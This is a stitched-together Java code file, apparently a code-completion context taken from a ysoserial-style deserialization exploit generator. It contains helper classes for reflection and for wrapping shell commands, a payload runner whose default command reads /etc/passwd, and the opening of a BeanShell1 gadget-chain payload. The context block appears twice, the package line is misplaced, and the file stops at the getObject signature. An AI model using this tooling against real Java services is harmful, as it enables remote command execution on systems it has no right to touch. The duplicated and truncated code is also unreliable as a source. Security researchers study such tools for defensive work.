// Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
// 
// 	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// 		Field field = clazz.getDeclaredField(fieldName);
// 		if (field != null)
// 			field.setAccessible(true);
// 		else if (clazz.getSuperclass() != null)
// 			field = getField(clazz.getSuperclass(), fieldName);
// 		return field;
// 	}
// 
// 	public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// 		final Field field = getField(obj.getClass(), fieldName);
// 		field.set(obj, value);
// 	}
// 
// 	public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// 		final Field field = getField(obj.getClass(), fieldName);		
// 		return field.get(obj);
// 	}
// 
// 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
// 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// 	    ctor.setAccessible(true);
// 	    return ctor;
// 	}
// 	
// 
//     public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
//             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
//         return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
//     }
//     
//     @SuppressWarnings ( {"unchecked"} )
//     public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
//             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
//         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
//         objCons.setAccessible(true);
//         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
//         sc.setAccessible(true);
//         return (T)sc.newInstance(consArgs);
//     }
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;



/**
 * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
 
// Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
// 
// 	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// 		Field field = clazz.getDeclaredField(fieldName);
// 		if (field != null)
// 			field.setAccessible(true);
// 		else if (clazz.getSuperclass() != null)
// 			field = getField(clazz.getSuperclass(), fieldName);
// 		return field;
// 	}
// 
// 	public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// 		final Field field = getField(obj.getClass(), fieldName);
// 		field.set(obj, value);
// 	}
// 
// 	public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// 		final Field field = getField(obj.getClass(), fieldName);		
// 		return field.get(obj);
// 	}
// 
// 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
// 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// 	    ctor.setAccessible(true);
// 	    return ctor;
// 	}
// 	
// 
//     public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
//             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
//         return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
//     }
//     
//     @SuppressWarnings ( {"unchecked"} )
//     public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
//             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
//         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
//         objCons.setAccessible(true);
//         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
//         sc.setAccessible(true);
//         return (T)sc.newInstance(consArgs);
//     }
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


// Path: src/main/java/ysoserial/payloads/BeanShell1.java
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;

package ysoserial.payloads;



/**
 * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
 
    public PriorityQueue getObject(CmdExecuteHelper cmdHelper) throws Exception {